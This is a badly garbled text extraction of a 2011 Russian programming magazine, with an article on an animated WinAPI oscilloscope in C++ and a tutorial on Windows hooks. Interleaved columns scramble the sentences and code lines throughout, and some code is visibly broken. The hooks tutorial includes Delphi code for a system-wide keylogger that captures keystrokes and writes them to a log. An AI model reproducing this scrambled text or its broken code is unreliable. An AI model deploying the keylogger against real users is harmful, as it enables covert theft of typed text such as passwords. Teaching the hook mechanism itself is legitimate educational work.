сообщений
и
действий.
выполнение
Сразу
следует
сообщить, так как в нашем приложении будет
return 1;
орисоваться анимация в окне - в данной функции
}
Теперь пришло время создания окна. Для этого функцию
CreateWindow.
Ниже показано, как создать обычное окно, с координатами по умолчанию. Тут так же следует проводить проверку:
hWnd = CreateWindow(szWindowClass, szTitle,
АРХИВ
именно
DispatchMessage(&msg);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
использовать
–
TranslateMessage(&msg);
// задаем цвет окна
будем
код
обработки
объявлены
обработчики
необходимые сообщений.
скорректированный
код,
переменные
Ниже от
и
представлен
форумчанина
DomiNick, всей функции с комментариями:
LRESULT CALLBACK WindowProcedure (HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) {
СОДЕРЖАНИЕ
41
ПРО
АНИМИРОВАННЫЙ ОСЦИЛЛОГРАФ НА WINAPI В С++
№11 (февраль) 2011
граммист
синусоиду, он так же отвечает за отрисовку
RECT rect;
вертикальных
static int offset = 0;
и
горизонтальных
линий
координатной сетки, а так же числовые отметки
switch (message)
осей
{
абсцис
и
ординат.
напряжение и время.
case WM_CREATE: // включаем таймер SetTimer(hWnd, 1, 150, NULL); return 0; case WM_TIMER: GetClientRect(hWnd, &rect); InvalidateRect(hWnd, &rect, true); UpdateWindow(hWnd);
Пусть
это
будет
Начать функцию следует с объявление важных констант
–
координаты
рисования
сетки,
максимальные, минимальные значения, а так же два массива, содержащие текст – числа, которые будут нарисованы возле осей.
Так же тут вызываются четыре API функции,
++offset;
задающие необходимые параметры рисования,
return 0;
подробнее о них Вы можете прочесть в MSDN.
case WM_PAINT: PAINTSTRUCT ps; HDC hdc;
RECT rect;
hdc = BeginPaint(hWnd, &ps);
GetClientRect(hwnd, &rect);
DrawDiagram(hWnd, hdc, offset); EndPaint(hWnd, &ps);
const int xVE = rect.right - rect.left;
return 0;
const int yVE = rect.bottom - rect.top;
case WM_DESTROY:
const int xWE = xVE;
PostQuitMessage(0);
const int yWE = yVE;
return 0;
double nPixPerVolt = yVE / 1000.0;
default:
double nPixPerMs = xVE / 60.0; return DefWindowProc(hWnd, message, wParam, lParam);
SetMapMode(hdc, MM_ISOTROPIC);
}
SetWindowExtEx(hdc, xWE, yWE, NULL);
return 0;
SetViewportExtEx(hdc, xVE, -yVE, NULL);
}
SetViewportOrgEx(hdc, 10*nPixPerMs, yVE/2, NULL);
Думаю, что все тут все наглядно и понятно. Как
const int tMin = 0;
вызов функции. DrawDiagram(hWnd, hdc, offset) –
const int uMin = -400;
вы заметили, в сообщении WM_PAINT происходит это не стандартная функция и нам следует ее реализовать. параметров,
Ей
передаются,
дескриптор
окна,
в
качестве
дескриптор
устройства вывода, а так же новое значение
const int tMax = 40; const int uMax = 400; const int tGridStep = 5; const int uGridStep = 100;
смещения для синусоиды. Для того, что бы
int x, y;
объявить ее ранее, что и сделаем, добавьте, в
int xMin = tMin * nPixPerMs;
вызывать функцию в этом месте, мы должно самом
верху,
WindowProcedure
после
LRESULT
(HWND,
LPARAM) объявление:
UINT,
CALLBACK
WPARAM,
–
функция
рисования
синусоиды. Её заголовок уже приведен выше. На
самом деле данная функция рисует не только
АРХИВ
char* xMark[] = {"0", "5", "10", "15", "20", char* yMark[] = {"-40", "-30", "-20", "-10",
И в конце концов самая большая и сложная программы
int xMax = tMax * nPixPerMs;
"25", "30", "35", "40"};
void DrawDiagram(HWND hwnd, HDC hdc, int offset);
функция
int u = uMin;
"0", "10", "20", "30", "40"};
Пока оставьте все как есть, потом, изменяя
числовые значения, Вы сможете наблюдать за отрисовкой
графика
и
координатной
сетки.
СОДЕРЖАНИЕ
42
ПРО
АНИМИРОВАННЫЙ ОСЦИЛЛОГРАФ НА WINAPI В С++
№11 (февраль) 2011
граммист
Далее создадим наше «перо», которым будет осущестляться рисование линй, так же зададим ему цвет.
HPEN hOldPen = (HPEN)SelectObject(hdc, hPen0);
выполним
отрисовку
сетки
–
линии
Для этого сначала переместимся в определенную
точку, с помощью функции MoveToEx(hdc, x, y, NULL), а затем нарисуем, «пером», линию в точку,
Рисование
с
текста
помощью
LineTo(hdc,
выполняется
с
x,
y).
помощью
TextOut(hdc, x, y, string, strlen(string)):
y = u * nPixPerVolt;
уже
знакомых
нам
функций
MoveToEx(hdc, 0, yMin, NULL); LineTo(hdc, 0, yMax);
Теперь самое интересное, отрисовка графика функции. Вновь берем «перо»:
HPEN hPen2 = CreatePen(PS_SOLID, 5, RGB(200, 0, 100)); SelectObject(hdc, hPen2);
Сначала код с комментариями, затем некоторые
// задаем шаг графика
перемещаемся в заданную точку
int tStep = 1;
MoveToEx(hdc, xMin, y, NULL); //
помощью
пояснения:
for(int i = 0; i < 9; ++i) { //
с
MoveToEx(hdc, 0, 0, NULL); LineTo(hdc, xMax, 0);
ординат и соответсвущющих числовых меток.
другую
И
нарисуем оси:
HPEN hPen0 = CreatePen(PS_SOLID, 1, RGB(0, 160, 0));
Теперь
SelectObject(hdc, hPen1);
// вычисляем угол радиан
рисуем туда линию
double radianPerx = 2 * Pi / 30;
LineTo(hdc, xMax, y);
// задаем амплитуду
//
const double uAmplit = 250;
выводим текст
TextOut(hdc, xMin-40, y+8, yMark, strlen(yMark));
t = tMin;
u += uGridStep; }
// вычисляем начальную точку
Теперь выполним небольшие вычисления: int t = tMin;
MoveToEx(hdc, 0, ((uAmplit * sin(t * radianPerx - offset)) * nPixPerVolt), NULL); while(t <= tMax) {
int yMin = uMin * nPixPerVolt;
// до достижения максимального значения х
int yMax = uMax * nPixPerVolt;
// вычисляем синус и точку, куда рисовать линию u = uAmplit * sin(t * radianPerx - offset);
И аналогично нарисуем ось абсцис:
// рисуем линию LineTo(hdc, t * nPixPerMs, u * nPixPerVolt);
for(int a = 0; a < 9; ++a) {
t += tStep;
x = t * nPixPerMs;
}
// перемещаемся в заданную точку
SelectObject(hdc, hOldPen);
MoveToEx(hdc, x, yMin, NULL);
Сначала выполняются необходимые вычисления
// рисуем туда линию
аргументов функции синуса, затем вычисляется
LineTo(hdc, x, yMax); // выводим текст TextOut(hdc, x, yMin-10, xMark[a], strlen(xMark[a])); t += tGridStep;
нарисована,
теперь
нужно
нарисовать
сами оси, для этого выберем другое «перо»: // создаем кисть HPEN hPen1 = CreatePen(PS_SOLID, 3, RGB(0, 0, 0));
АРХИВ
синус
и
в
полученную
точку
осуществляется переход, с помощью MoveToEx.
Затем запускается цикл, который, поточечно,
}
Сетка
собственно
начиная с точки, куда мы только что перешли (если-бы этого не сделали, то у синусоиды-бы появилась
некрасивая
рисует линию графика. Цикл
прерывается,
«тянучка»
как
только
в
начале)
достигается
СОДЕРЖАНИЕ
43
ПРО
граммист
№11 (февраль) 2011
АНИМИРОВАННЫЙ ОСЦИЛЛОГРАФ НА WINAPI В С++
Рисунок. Внешний вид приложения (разумеется анимацию тут не видно) максимальное константах. Все,
значение,
программа
компилировать
заданное
закончена,
не
обращая
выше,
можете
в
смело
внимания
на
Выше представлен скриншот того, что у Вас должно в итоге получиться. Посткриптум
предупреждения компилятора (преобразования
Все
данном случае), и запускать.
архиве с журналом.
из int в double и наооборот несущественно, в
упомянутые
в
статье
модули
с
комментариями приведены непосредственно в Ресурсы • • •
АРХИВ
Среда компиляции Dev C++ (4.9.9.2)
http://www.brothersoft.com/dev-c++-download65296.html
Тема и обсуждение на форуме
http://www.programmersforum.ru/showthread.p hp?t=59503 от 04.08.2009
MSDN http://msdn.microsoft.com/ru-ru/default
СОДЕРЖАНИЕ
44
ПРО
ХУКИ В WINDOWS. ЧАСТЬ 1-2
№11 (февраль) 2011
граммист
Здравствуй читатель. Этой статьей я начинаю цикл статей про механизм ловушек оконных сообщений, а на жаргоне программистов механизм хуков, в операционных системах Windows. Тема про хуки является популярной на многих форумах программистов. Материал этих статей рассчитан на начинающего пользователя, примеры будут на Delphi. В этой статье будут изложены основные принципы механизма хуков, слежения событий создания, активации, уничтожения окон, методы межпроцессорного взаимодействия с использованием разделяемой памяти (мэппинга) и синхронизации потоков с использованием мьютексов. Для закрепления матерала будут написаны: клавиатурный шпион и программа для осуществления мониторинга окон... Руслан Аблязов
•
by rpy3uH http://www.programmersforum.ru
В
операционной
системе
Windows
хуком называется механизм перехвата особой
box), полос прокрутки (scroll bar) или меню •
функцией событий (таких как сообщения, ввод с мыши или клавиатуры) до того, как они дойдут до
приложения.
Эта
функция
может
затем
реагировать на события и, в некоторых случаях, изменять
получающие
или
называются
отменять
уведомления
фильтрующими
их.
событиях,
функциями
и
различаются по типам перехватываемых ими событий.
Пример – фильтрующая функция для перехвата
всех событий мыши или клавиатуры. Если к одному
хуку
фильтрующих очередь
прикреплено
функций,
функций,
Windows
причем
к
хуку
прикреплена
функций-фильтров приводящее
к
и
одна
происходит
срабатыванию
• •
функция,
•
очереди, а самая первая функция – в ее конце. или
хука,
•
более
событие,
Windows
вызывает только первую функцию из очереди
функций-фильтров. Вызов каждого следующего
обрабатывать или изменять все сообщения, предназначенные для всех диалоговых окон, меню всей системы (WH_SYSMSGFILTER);
обрабатывать или изменять все сообщения в
системе (все виды сообщений), получаемые функциями
•
прикрепленная последней, оказывается в начале Когда
•
несколько реализует
одного приложения (WH_MSGFILTER);
информационных окон, полос прокрутки, или
Функции,
о
предназначенные для всех диалоговых окон (dialog box), информационных окон (message
Итак, приступим. Что же такое механизм хуков в Windows?
обрабатывать или изменять все сообщения,
•
GetMessage
или
(WH_GETMESSAGE);
PeekMessage
обрабатывать или изменять все сообщения
(любого типа), посылаемые вызовом функции SendMessage (WH_CALLWNDPROC);
записывать или проигрывать клавиатурные и мышиные
события
(WH_JOURNALRECORD,
WH_JOURNALPLAYBACK); обрабатывать,
изменять
обрабатывать,
изменять
или
удалять
клавиатурные события (WH_KEYBOARD); события мыши (WH_MOUSE);
или
реагировать
на
приложений
компьютерного
системы,
определенные
делая
возможным
отменять действия
разработку
обучения
computer-based training (WH_CBT);
–
предотвратить вызов другой функции-фильтра (WH_DEBUG).
обработчика полностью зависит от предыдущего
Работа с хуками осуществляется через функции
вызовет следующий, то целевому окну не придет
вызов следующего обработчика осуществляется
обработчика. Если какой-либо обработчик не
искомое сообщение, а следовательно и не будет вызвана его оконная функция.
Приложения
использовать хуки в следующих целях:
АРХИВ
через функцию CallNextHookEx. До версии 3.1, Windows предоставляла для управления хуками и
Хуки предоставляют мощные возможности для Windows.
UnhookWindowsHookEx,
функции SetWindowsHook, UnhookWindowsHook,
Краткий экскурс... приложений
SetWindowsHookEx,
могут
DefHookProc.
реализованы
в
Эти
функции
Win32,
только
до
сих
лишь
пор для
совместимости со старыми приложениями, и использовать
рекомендуется.
их
в
новых
проектах
не
СОДЕРЖАНИЕ
45
ПРО
ХУКИ В WINDOWS. ЧАСТЬ 1-2
№11 (февраль) 2011
граммист
Начнем сначала, для установки хука используется функция SetWindowsHookEx:
на
всю
систему,
то
фильтрующая функция должна быть загружена в
каждый процесс, у которого есть хотя бы один цикл
HHOOK SetWindowsHookEx(
сообщений
c
использованием
GetMessage или PeekMessage.
int idHook, HOOKPROC lpfn,
Единственный
HINSTANCE hMod,
стандартный
способ
функций
загрузки
нашего кода в чужой процесс, это использование
DWORD dwThreadId
DLL. Т.е. для нормального функционирования
);
Первый параметр – это числовая константа WH_* которая
задает
тип
Третий
параметр
устанавливаемого
хука.
Второй параметр – это адрес функции-фильтра. содержащего
–
это
хэндл
фильтрующую
модуля,
функцию.
Этот
параметр должен быть равен нулю при установке хука на поток, но данное требование не является строго
устанавливается
обязательным,
как
указано
в
хуков установленных на всю систему необходимо использовать DLL.
Едем, далее. Все фильтрующие функции должны быть описаны следующим образом:
LRESULT CALLBACK FilterFunc(int nCode, WPARAM wParam, LPARAM lParam)
документации. При установке хука для всей
Так написано в MSDN. Тип LRESULT это тот же
нужно
CALLBACK это тоже что и stdcall. Чтобы было
системы или для потока в другом процессе, использовать
функцию-фильтр. идентификатор
хэндл
Четвертый
DLL,
содержащей
параметр
потока,
для
–
это
которого
устанавливается хук. Если он не равен нулю, то
хук устанавливается только на указанный поток. Если
идентификатор
равен
нулю,
то
хук
устанавливается на всю систему. Некоторые хуки
можно ставить как на всю систему, так и на некоторый поставить
возвращает
поток,
только
хендл
некоторые
на
всю
хука,
в
хуки
систему.
случае
функцию
отступление
сделать
от
данной
темы,
лирическое
для
лучшего
понятия описываемого механизма. В 32-битных (а далее в 64-битных) операционных системах
Windows каждый процесс в системе имеет свое собственное
обособленное
правильное
адресное
пространство. Обратиться к чужому адресному
пространству можно только через несколько API
функций и имея определенные привилегии. Т.е. по одному и тому же адресу в разных процессах
логичное (по моему мнению) объявление на pascal:
Function FilterFunc(Code:integer; wParam, lParam:DWORD):DWORD; stdcall;
хуков.
Параметры
интерпретируются
параметра
wParam
как
WORD.
Это
последствиям в работе хуков, так как тип WORD имеет размерность 16 бит, а DWORD 32 бита, в результате
чего
половина
информации,
передаваемая через этот параметр, теряется. Первый
параметр
во
всех
типах
меньше
нуля,
то
надо
сразу
же
вызвать
следующую функцию через CallNextHookEx, и вернуть результат ее вызова. Если код равен HC_ACTION,
то
сообщение. полностью
это
можно
только
обработать
программиста, который ее написал.
целевое окно и оконная функция. Итак, если хук
хуков
интерпретируется в основном одинаково: если он
сообщение, она должна находиться в памяти
именно того процесса, которому принадлежит
грубая
ошибка, которая приводит к непредсказуемым
Впрочем,
чтобы фильтрующая функция могла обработать
по-
встречается одна и та же ошибка: объявление
могут быть совершенно разные данные. Для того,
АРХИВ
и
разному, в зависимости типа хука. Очень часто
UnhookWindowsHookEx,
небольшое
наиболее
неудачи
параметра – хендл установленного хука. надо
приведу
Это общий прототип функции для всех типов
которая принимает в качестве единственного Теперь
понятнее,
можно
Функция
функция возвратит ноль. Для снятия хука нужно использовать
integer, WPARAM и LPARAM это тоже integer.
зависит
от
рекомендации самой
и
функции
это все
и
Для вызова следующей функции в очереди хуков
СОДЕРЖАНИЕ
46
ПРО
граммист
ХУКИ В WINDOWS. ЧАСТЬ 1-2
№11 (февраль) 2011
предназначена функция CallNextHookEx:
Параметр клавиши
LRESULT CallNextHookEx(
WPARAM wParam, LPARAM lParam );
Отличие от оконной функции лишь в первом который,
кстати,
в
системах
семейства Windows NT (Windows NT/XP/2003 и игнорируется.
передавать
Для
дальше
того
обработку
чтобы
не
сообщения,
биты
•
•
•
Практические занятия. Вариант 1 Теперь надо приступить к практике. Наиболее
часто встречающийся проблемы поднимаемые на
форумах программистов, связанный с хуками, это
проблемы с написанием клавиатурных шпионов. клавиатурный
создания
шпион
клавиатурного
мы
хука
сейчас
нам
и
надо
указать код WH_KEYBOARD при вызове функции SetWindowsHookEx.
Windows
вызывает
обработчики хука когда функции GetMessage или собираются
вернуть
WM_KEYUP, WM_KEYDOWN.
сообщения
Параметр Code может быть равен следующим значениям: • •
HC_ACTION Windows вызывает обработчик с этим
кодом
очереди;
при
удалении
HC_NOREMOVE
сообщения
Windows
нажатой клавиш ив случае залипания;
из
вызывает
обработчик с этим кодом, когда клавиатурное
16-23
клавиши.
содержат
Это
скан
аппаратно
на цифровой клавиатуре), иначе 0; биты 25-28 зарезервированы;
бит 29 выставлен, если нажата кнопка Alt;
бит 30 говорит нам о состоянии клавиши до отправки сообщения. Бит равен единице если этого
кнопка
до
отправки
•
то бит равен нулю;
бит 31 говорит о текущем состоянии клавиши. Он
равен
нулю,
если
кнопка
вызове
гарантируется
хука
с
передача
этим
кодом
не
действительного
состояние клавиатуры. Программист должен знать
о
возможности
подобной ситуации.
АРХИВ
возникновения
в
нажатом
состоянии, и единица, если в не нажатом состоянии. Как
мы
будем
Разумеется,
сохранять
самый
введенный
простой
способ
текст?
это
сохранение в файл перехваченного кода нажатой клавиши это сохранение в файл сразу же в функции
фильтре.
ввода/вывода
–
это
Но
операции
операции
не
файлового слишком
быстрые и это приводит к общему уменьшению
производительности системы при вводе какоголибо текста (впрочем, на новых машинах это вряд ли можно заметить). Поэтому мы заведем специальное
окно-сервер,
которому
будем
отправлять коды нажатых клавиш, это окно будет
получать
коды
нажатых
клавиш
и
файл,
когда
будет
достигать
некоторого
сохранять в своем буфере, и скидывать буфер в размера.
и
он
к самому обработчику хука:
При
функцию
сообщения
нажата, если кнопка была до этого не нажата,
PeekMessage с параметром PM_NOREMOVE.
вызвало
код,
является расширенной (функциональной или
Создание
приложение
нажатой
бит 24 равен единице, если нажатая клавиша
сообщение не удаляется из очереди, потому что
код
зависимый
который зависит от конкретной клавиатуры;
до
Итак, основные сведения о хуках мы получили.
PeekMessage
VK_RETURN,
•
просто блокируется и не приходит адресату.
обработчике. В данном случае это сообщение
Для
VK_F1,
код
биты 0-15 содержат количество повторений
•
напишем.
хука
виртуальный
•
достаточно просто не вызывать эту функцию в
Именно
(например,
обработчике
следующим образом:
int nCode,
далее)
в
содержит
VK_LEFT). Параметр lParam расшифровывается
HHOOK hhk,
параметре,
wParam
WH_KEYBOARD
снятие
хука,
я
думаю,
особых
проблем не составляет, поэтому сразу приступлю
function KeyHook(CODE, WParam, LParam: DWORD): DWORD; stdcall; var ServerWnd: THandle; ScanCode:integer;
СОДЕРЖАНИЕ
47
ПРО
граммист
ХУКИ В WINDOWS. ЧАСТЬ 1-2
№11 (февраль) 2011
полученных
begin
в
результате
преобразования.
Состояние клавиатуры можно получить через
if CODE = HC_ACTION then
функцию GetKeyboardState.
if ((LParam or (1 shl 30))=LParam) then begin
Вернемся к нашей фильтрующей функции:
ServerWnd:=FindWindow(nil,'Simple keylogger '); GetKeyboardState(KeybrdState); ScanCode:=(LParam shr 16)and $FF;
ServerWnd:=FindWindow(nil,'Simple keylogger ');
if ToAscii(WParam,ScanCode,KeybrdState,@Symbol,0)>0 then
GetKeyboardState(KeybrdState);
PostMessage(ServerWnd, WM_KEYEVENT,
ScanCode:=(LParam shr 16)and $FF;
ord(Symbol[0]), LParam)
if ToAscii(WParam,ScanCode,KeybrdState,@Symbol,0)>0 then
else
PostMessage(ServerWnd, WM_KEYEVENT, ord(Symbol[0]), LParam)
PostMessage(ServerWnd, WM_KEYEVENT, 0, LParam);
else PostMessage(ServerWnd, WM_KEYEVENT, 0, LParam);
end;
Сначала мы получаем состояние клавиатуры,
Result:=CallNextHookEx(HookHandle, code, WParam, LParam);
потом получаем скан код из параметры LParam и
end;
Основная
проблема
клавиатурных
хуков
в
при
заключается
в
написании том,
что
обработчику хука передается только скан код нажатой
клавиши
и
ее
виртуальный
код.
Виртуальный код и скан код говорят нам, какая
именно клавиша была нажата, но не говорят, что именно было введено. Поясню, даже если мы
вводим русский текст, то клавиатурному хуку
будут передаваться коды английских клавиш, т.е. мы вводим слово «привет», а обработчику хука будет передано «GHBDTN». Или, например, мы
нажимаем на Shift цифру 7 и вводится знак &, но в клавиатурный хук будет передан только код цифры 7. Для того чтобы преобразовать скан код
и виртуальный код в текстовый символ, который был введен, необходимо использовать функцию ToAscii (или ToUnicode). Ее параметры:
вызываем функцию ToAscii. Если ее результат не
равен нулю, т.е. если ее результат не пустой, то отправляем заголовком заголовке
cсообщение
«Simple
нужны
keylogger»
только
в
его
WM_KEYEVENT:
procedure TMainForm.KeyMessageHandler(var Msg: TMessage); var KeyName:array[0..99] of char; _MSG:TMsg; begin GetKeyNameText(Msg.LParam, KeyName, sizeof(KeyName)); BufferWrite('13) then begin BufferWrite(','); KeyName[0]:=chr(Msg.WParamLo); KeyName[1]:=#0;
PBYTE lpKeyState,
BufferWrite(KeyName);
LPWORD lpChar,
end;
UINT uFlags
BufferWrite('>');
);
inc(Counter);
Первый параметр это виртуальный код, второй
это скан код, третий параметр это указатель на в
клавиатуры,
котором
четвертый
сохранено это
параметр
это
флаг,
указатель
определяющий,
должен быть 1, если меню активно, или иначе 0. количество
begin BufferWrite(NewLine); WriteTime;
на
является ли меню активным. Этот параметр возвращает
if Counter>MaxSimbolGroup then
состояние
переменную, в которую будет сохранен символ,
АРХИВ
для
А вот собственно и сам обработчик сообщения
UINT uScanCode,
Функция
(цифры
объявили сами WM_KEYEVENT=WM_USER+1.
UINT uVirtKey,
пятый
лишь
с
уникальности). Сообщение WM_KEYEVENT мы
int ToAscii(
массив
окну-серверу
символов,
BufferWrite(NewLine); Counter:=0; end; end;
Для получения текстовой расшифровки нажатой
СОДЕРЖАНИЕ
48
ПРО
ХУКИ В WINDOWS. ЧАСТЬ 1-2
№11 (февраль) 2011
граммист
клавиши по ее скан коду мы воспользовались функцией GetKeyNameText. Полный текст DLL и приложения щемуся
к
находится
этой
в
архиве
статье.
прилагаю-
Если
посмотреть
получившийся лог, то мы увидим следующий текст в формате <название клавиши, введенный текст> [1].
продолжим...
Для
создания
хука
для
тип хука WH_CBT в первом параметре функции
SetWindowsHookEx. Хук типа WH_CBT позволяет
отслеживать следующие события окон: создание, активация,
установку
фокуса,
минимизация, максимизация и прочее.
Формат обработчика хука такой же, какой и у других типов хуков:
параметров
события.
Если
следующий
wParam
вызывается
обработчик
обработчик
произойдет,
и
lParam
до
осуществления
хука
хука
не
вызовет
(функция
таким
образом
можно
блокировать некоторые действия. Но тем не менее, отменять события в хуках такого типа не рекомендуется,
так
как
это
будет
очень
неожиданно для приложения. Представьте себе
ситуацию, когда программа хочет уничтожить
окно, а у него не получается, или же хочет создать
окно,
но
не
получается,
намного
корректнее было бы уничтожить окно после его создания
(к
примеру,
через
10
мс).
Далее
приведены наиболее часто используемые типы событий.
Если код события равен HCBT_ACTIVATE, то произошло событие активации окна. В данном случае
искомого
параметр
указывать
АРХИВ
окна, на
а
клика
данный
момент.
При
коде
события
HCBT_CREATEWND параметр wParam содержит хендл
нового
окна,
а
lParam
указывает
структуру CBT_CREATEWND:
на
typedef struct tagCBT_CREATEWND { // cbtcw LPCREATESTRUCT lpcs; HWND
hwndInsertAfter;
} CBT_CREATEWND;
hwndInsertAfter
содержит
хендл
окна,
wParam
содержит
параметр
структуру
lpcs
указывает
на
структуру
CREATESTRUCT, она имеет следующий формат:
CallNextHookEx), то перехватываемое действие не
вследствие
hWndActive содержит хендл окна, активного в
Поле
полностью зависит от типа события. Обработчик всегда
произошло
изменить Z координату вновь создаваемого окна.
// depends on hook code
);
хука
событие
вновь создаваемым. Изменив этот хендл можно
WPARAM wParam, // depends on hook code
Назначение
} CBTACTIVATESTRUCT;
которое по Z координате находится сразу же за
// код события
LPARAM lParam
HWND hWndActive;
Поле
LRESULT CALLBACK CBTProc( int nCode,
BOOL fMouse;
мыши, то поле fMouse будет равно TRUE. Поле
мониторинга событий окон необходимо указать
уничтожение,
typedef struct tagCBTACTIVATESTRUCT { // cas
Если
Практические занятия. Вариант 2 Итак,
Далее приведено описание этой структуры:
lParam
хендл
будет
CBTACTIVATESTRUCT.
typedef struct tagCREATESTRUCT { // cs LPVOID
lpCreateParams;
HINSTANCE hInstance; HMENU
hMenu;
HWND
hwndParent;
int
cy;
int
cx;
int
y;
int
x;
LONG
style;
LPCTSTR
lpszName;
LPCTSTR
lpszClass;
DWORD
dwExStyle;
} CREATESTRUCT;
Я думаю здесь все понятно. При коде события HCBT_DESTROYWND уничтожаемого содержит.
Как
события,
а
обработчик
обработчике получить Помимо
wParam
окна,
было
уже
вызывается
окно
еще
указанных
не
функция
осуществления
когда
существует
и
уничтожаемого
кодов
хендл
ничего
сказано,
до
следовательно
параметр
содержит
lParam
событий
мы
в
можно
еще
окна. есть
СОДЕРЖАНИЕ
49
ПРО
граммист
ХУКИ В WINDOWS. ЧАСТЬ 1-2
№11 (февраль) 2011
следующие: •
формат:
HCBT_CLICKSKIPPED – фильтр вызывается
при удалении сообщения мыши из системной очереди
сообщений,
дополнительно •
HANDLE CreateFileMapping(
при
условии,
определен
WH_MOUSE;
HANDLE hFile,
что
LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
фильтр
DWORD flProtect, DWORD dwMaximumSizeHigh,
HCBT_KEYSKIPPED – фильтр вызывается при удалении
клавиатурного
сообщения
DWORD dwMaximumSizeLow,
из
LPCTSTR lpName
системной очереди сообщений, при условии, что • • • •
дополнительно
определен
WH_KEYBOARD;
фильтр
HCBT_MINMAX – минимизация/максимизация окна;
HCBT_MOVESIZE – окно будет перемещено либо будет изменен размер окна; HCBT_QS
–
Система
WM_QUEUESYNC сообщений;
HCBT_SETFOCUS ввода;
извлекла
из
–
сообщение
системной
окно –
получило
будет использован как файл подкачки для этой области
значению
окно-сервер,
которое
ни
хвали
этот
метод,
он
все
равно
имеет
ограничения и не всегда приемлем. На этот раз мы
используем
другой
более
гибкий
и
универсальный метод. Для ведения лога мы будем
использовать
мэппинга. создать
С
помощью
кусок
технику
этой
виртуальной
файлового
техники
памяти,
будет доступен нескольким процессам.
можно
который
Начнем сначала. Принцип файлового мэпинга является одним из основополагающих принципов
работы с виртуальной памятью в Windows. С
помощью техники файлового мэпинга можно
файла
равен
то
– это атрибуты защиты. Третий параметр задает параметры доступа к выделенной памяти:
принимало
специальные сообщения и заносило их в лог. Как
хендл
любая другая область памяти). Второй параметр
•
было
Если
INVALID_HANDLE_VALUE,
будет сбрасываться в файл подкачки (как и
Итак, хук WH_CBT мы изучили. Теперь надо подумать как вести лог. В первом примере у нас
памяти.
выделенная область памяти при необходимости
•
системная команда.
будет
фокус
Первый параметр – это хендл файла, который
обработана
•
HCBT_SYSCOMMAND
очереди
);
PAGE_READONLY – только чтение, файл в этом
случае
минимум с флагом;
быть
открыт
и запись, файл должен быть открыт как с
флагами
GENERIC_WRITE;
GENERIC_READ
предыдущим
флагом,
но
все
выделенные
страницы помечаются как копируемые при записи.
В этом случае изменения в выделенной памяти не будут отражаться на искомом файле, и, в
случае необходимости, область памяти будет сбрасываться в файл подкачки. В общем, не будем
слишком
флагом,
лучше
сильно
PAGE_READWRITE.
соответственно старшую и младшую часть.
и
спроецированной
с
помощью
механизма мэпинга, содержимое файла тоже будет изменено (разумеется, не сразу). Чтобы
создать
использовать
АРХИВ
файл-мэппинг
функцию
объект
надо
CreateFileMapping.
Ее
максимальный
четвертый
использовать
файл подкачки, а в какой-нибудь указанный нами выделенной
и
всего
заморачиваться
Третий
файл. Таким образом, при изменении памяти,
и
PAGE_WRITECOPY – тоже самое, что и с
создать область памяти, которая при нехватке физической памяти будет сбрасываться не в
как
GENERIC_READ; PAGE_READWRITE – чтение минимум
•
должен
размер
параметры
создаваемого
этим флаг
задают
объекта,
Последний параметр задает имя создаваемого объекта, через которое смогут обратиться к нему другие процессы.
Для открытия имеющего файл-мэпинг объекта по имени существует функция OpenFileMapping:
СОДЕРЖАНИЕ
50
ПРО
ХУКИ В WINDOWS. ЧАСТЬ 1-2
№11 (февраль) 2011
граммист
сохранения изменений в искомый файл (если это
HANDLE OpenFileMapping(
нужно
DWORD dwDesiredAccess,
параметр,
LPCTSTR lpName
Первый параметр задает тип доступа к объекту, может принимать следующие значения:
• • •
FILE_MAP_WRITE – чтение и запись, объект быть
создан
PAGE_READWRITE; FILE_MAP_READ
–
только
с
атрибутом
чтение,
объект
должен быть создан к минимум с атрибутом PAGE_READONLY;
FILE_MAP_ALL_ACCESS – тоже самое, что и FILE_MAP_WRITE;
FILE_MAP_COPY – копирование при записи, объект
должен
быть
PAGE_WRITECOPY. Второй
параметр
–
это
создан
с
флаг
атрибутом
наследования.
Третий параметр задает имя отрываемого файлмэпинг объекта. Для
проецирования
файл-мэпинг
объекта
на
память используется функция MapViewOfFile. Ее описание:
конце мониторинга нам надо будет сбросить эту
память в некоторый файл. Возникает вопрос: как нам узнать в какое место буфера писать. Для
этого мы в первых четырех байтах буфера будем держать переменную, в которой будет храниться
текущее смещение, куда надо писать новые
данные. Перед записью мы получаем смещение, записываем по этому смещению новые данные и увеличиваем
нашу
записанных данных.
переменную
на
размер
Следовательно, общий алгоритм известен, но возникает новая проблема. Так как процессов и окон много, возникает проблема синхронизации
записи в буфер. А именно надо сделать так, чтобы записывать в лог в некоторый момент времени
мог
только
один
поток,
иначе
результаты будут непредсказуемыми.
Эксклюзивного доступа к общим данным можно
параметр
это
хендл
параметр
требования
файл-мэпинг
задает
полностью
атрибуты
идентичны
требованиям первого параметра для функции OpenFileMapping. Третий и четвертый параметры
задают начальное смещение в файле, с которого начнется
проецирование
смещения.
Последний
старшая
и
на
младшая
параметр
память, часть
задает
количество байт для проецирования на память. Функция в случае успеха возвращает указатель на выделенную память. освобождения
в
«межпроцессорном
объекты
масштабе»
взаимоисключения
–
но этот вариант наиболее простой).
);
АРХИВ
был
мьютексы. (конечно же, есть и другие варианты,
DWORD dwNumberOfBytesToMap
соответственно
куда
памяти. Мы в нее можем записывать наш лог, в
являются
DWORD dwFileOffsetLow,
Второй
адрес,
Итак, у нас имеется общая для всех область
секций
DWORD dwFileOffsetHigh,
Для
начальный
потоков в одном процессе. Заменой критических
DWORD dwDesiredAccess,
доступа,
это
можно использовать только для синхронизации
HANDLE hFileMappingObject,
объекта.
функцию
добиться, используя критические секции, но их
LPVOID MapViewOfFile(
Первый
вызвать
спроецирован объект.
);
должен
надо
UnmapViewOfFile, она принимает единственный
BOOL bInheritHandle,
•
было)
выделенной
памяти
и
Мьютексы могут находиться в двух состояниях в
захваченном и свободном. Также мьютексы, как и
любые
другие
объекты
в
Windows,
могут
находиться в двух состояниях: сигнальном и несигнальном
состоянии.
Когда
мьютекс
несигнальном
состоянии,
когда
мьютекс
захвачен каким-либо потоком, он находится в свободен, он находится в сигнальном состоянии.
Для создания мьютекса надо вызвать функцию CreateMutex, ее заголовок: HANDLE CreateMutex( LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner,
СОДЕРЖАНИЕ
51
ПРО
ХУКИ В WINDOWS. ЧАСТЬ 1-2
№11 (февраль) 2011
граммист
LPCTSTR lpName
WaitForSingleObject(MutexHandle,INFINITE);
);
// код работающий с общими данными
Первый
параметр
этой
функции
задает
ReleaseMutex(MutexHandle);
параметры защиты объекта. Второй параметр
